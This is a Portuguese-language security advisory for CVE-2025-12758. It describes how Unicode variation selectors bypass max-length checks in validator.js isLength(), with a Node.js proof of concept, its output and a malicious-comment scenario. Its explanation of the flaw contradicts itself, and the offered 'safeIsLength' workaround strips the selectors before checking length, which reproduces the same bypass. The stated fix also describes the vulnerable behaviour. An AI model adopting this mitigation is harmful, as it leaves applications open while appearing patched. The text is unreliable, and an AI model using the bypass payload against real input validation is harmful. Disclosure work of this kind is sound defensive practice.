
Divulgação detalhada do CVE-2025-12758 com PoC demonstrando bypass de seletor de variação Unicode no isLength() do validator.js, incluindo análise de causa raiz, cenários de exploração e etapas de mitigação.
CVE ID: CVE-2025-12758
Pontuação CVSS: 8.7 (ALTA)
Severidade: ALTA
CWE: CWE-792 (Filtragem Incompleta de uma ou mais Instâncias de Elementos Especiais)
Publicado: 26 de novembro de 2025
Divulgado: 19 de outubro de 2025
Esta vulnerabilidade afeta as versões < 13.15.22 do pacote validator do npm. A função isLength() não leva em consideração os seletores de variação Unicode (\uFE0F, \uFE0E) ao calcular o comprimento da string, resultando em validação de entrada inadequada.
Uma aplicação que usa isLength() para validação de entrada pode aceitar strings significativamente maiores do que o pretendido, potencialmente resultando em:
A função isLength() não filtra adequadamente os seletores de variação Unicode ao calcular o comprimento da string. Esses caracteres especiais (marcas de combinação) não deveriam contribuir para o comprimento visual de uma string, mas são contados na propriedade String.length do JavaScript.
npm install [email protected]
node poc.js
O PoC demonstra a vulnerabilidade testando a função isLength():
const validator = require('validator');
// Normal "test" string - correctly rejected
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// Output: Is "test" (String.length: 4) length ≤ 3? false
// Normal "test" string - correctly accepted
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// Output: Is "test" (String.length: 4) length ≤ 4? true
// "test" with 4 variation selectors - INCORRECTLY accepted
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true
A terceira saída demonstra a vulnerabilidade: uma string com comprimento real 8 passa em uma verificação de validação para comprimento máximo 4.
Uma aplicação pode implementar validação de comentários de usuário:
const MAX_COMMENT_LENGTH = 100;
function validateComment(comment) {
return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}
const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// Actual length: 150 characters
// validator.isLength() incorrectly returns: true ❌
// Database accepts malicious payload ⚠️
npm install [email protected]
A versão corrigida lida adequadamente com os seletores de variação Unicode, excluindo-os dos cálculos de comprimento.
Se você não puder atualizar imediatamente, implemente uma validação de comprimento personalizada:
function safeIsLength(str, options = {}) {
// Remove Unicode variation selectors before validation
const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
return validator.isLength(cleanStr, options);
}
Verifique se sua aplicação está vulnerável:
npm audit --audit-level=high
Procure pelo pacote validator com a versão < 13.15.22.
Vulnerabilidade descoberta por: Karol Wrótniak
ISC